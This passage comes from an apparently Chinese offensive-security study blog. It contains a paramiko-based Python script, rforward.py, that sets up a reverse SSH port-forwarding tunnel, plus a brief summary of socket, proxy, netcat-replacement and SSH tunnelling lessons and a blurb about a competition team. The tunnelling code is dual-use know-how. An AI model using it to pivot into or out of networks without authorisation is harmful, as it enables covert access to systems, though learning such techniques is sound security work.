    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.WarningPolicy())

    verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1]))
    try:
        client.connect(server[0], server[1], username=options.user, key_filename=options.keyfile,
                       look_for_keys=options.look_for_keys, password=password)
    except Exception as e:
        print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e))
        sys.exit(1)

    verbose('Now forwarding remote port %d to %s:%d ...' % (options.port, remote[0], remote[1]))

    try:
        reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport())
    except KeyboardInterrupt:
        print('C-c: Port forwarding stopped.')
        sys.exit(0)


if __name__ == '__main__':
    main()

Python3版本

#!/usr/bin/env python
# -*- coding:utf-8 -*-

# example:python rforward.py 192.168.100.123 -p 8080 -r 192.168.100.128:80 --user justin --password

import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParser

import paramiko

SSH_PORT = 22
DEFAULT_PORT = 4000

g_verbose = True


def handler(chan, host, port):
    sock = socket.socket()
    try:
        sock.connect((host, port))
    except Exception as e:
        verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))
        return

    verbose(
        "Connected!  Tunnel open %r -> %r -> %r"
        % (chan.origin_addr, chan.getpeername(), (host, port))
    )
    while True:
        r, w, x = select.select([sock, chan], [], [])
        if sock in r:
            data = sock.recv(1024)
            if len(data) == 0:
                break
            chan.send(data)
        if chan in r:
            data = chan.recv(1024)
            if len(data) == 0:
                break
            sock.send(data)
    chan.close()
    sock.close()
    verbose("Tunnel closed from %r" % (chan.origin_addr,))


def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
    transport.request_port_forward("", server_port)
    while True:
        chan = transport.accept(1000)
        if chan is None:
            continue
        thr = threading.Thread(
            target=handler, args=(chan, remote_host, remote_port)
        )
        thr.setDaemon(True)
        thr.start()


def verbose(s):
    if g_verbose:
        print(s)


HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""


def get_host_port(spec, default_port):
    "parse 'hostname:22' into a host and port, with the port optional"
    args = (spec.split(":", 1) + [default_port])[:2]
    args[1] = int(args[1])
    return args[0], args[1]


def parse_options():
    global g_verbose

    parser = OptionParser(
        usage="usage: %prog [options] <ssh-server>[:<server-port>]",
        version="%prog 1.0",
        description=HELP,
    )
    parser.add_option(
        "-q",
        "--quiet",
        action="store_false",
        dest="verbose",
        default=True,
        help="squelch all informational output",
    )
    parser.add_option(
        "-p",
        "--remote-port",
        action="store",
        type="int",
        dest="port",
        default=DEFAULT_PORT,
        help="port on server to forward (default: %d)" % DEFAULT_PORT,
    )
    parser.add_option(
        "-u",
        "--user",
        action="store",
        type="string",
        dest="user",
        default=getpass.getuser(),
        help="username for SSH authentication (default: %s)"
        % getpass.getuser(),
    )
    parser.add_option(
        "-K",
        "--key",
        action="store",
        type="string",
        dest="keyfile",
        default=None,
        help="private key file to use for SSH authentication",
    )
    parser.add_option(
        "",
        "--no-key",
        action="store_false",
        dest="look_for_keys",
        default=True,
        help="don't look for or use a private key file",
    )
    parser.add_option(
        "-P",
        "--password",
        action="store_true",
        dest="readpass",
        default=False,
        help="read password (for key or password auth) from stdin",
    )
    parser.add_option(
        "-r",
        "--remote",
        action="store",
        type="string",
        dest="remote",
        default=None,
        metavar="host:port",
        help="remote host and port to forward to",
    )
    options, args = parser.parse_args()

    if len(args) != 1:
        parser.error("Incorrect number of arguments.")
    if options.remote is None:
        parser.error("Remote address required (-r).")

    g_verbose = options.verbose
    server_host, server_port = get_host_port(args[0], SSH_PORT)
    remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
    return options, (server_host, server_port), (remote_host, remote_port)


def main():
    options, server, remote = parse_options()

    password = None
    if options.readpass:
        password = getpass.getpass("Enter SSH password: ")

    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.WarningPolicy())

    verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1]))
    try:
        client.connect(
            server[0],
            server[1],
            username=options.user,
            key_filename=options.keyfile,
            look_for_keys=options.look_for_keys,
            password=password,
        )
    except Exception as e:
        print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e))
        sys.exit(1)

    verbose(
        "Now forwarding remote port %d to %s:%d ..."
        % (options.port, remote[0], remote[1])
    )

    try:
        reverse_forward_tunnel(
            options.port, remote[0], remote[1], client.get_transport()
        )
    except KeyboardInterrupt:
        print("C-c: Port forwarding stopped.")
        sys.exit(0)


if __name__ == "__main__":
    main()

结语

主要是socket和Paramiko库的学习,TCP连接和代理、netcat代替、SSH和SSH隧道


红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。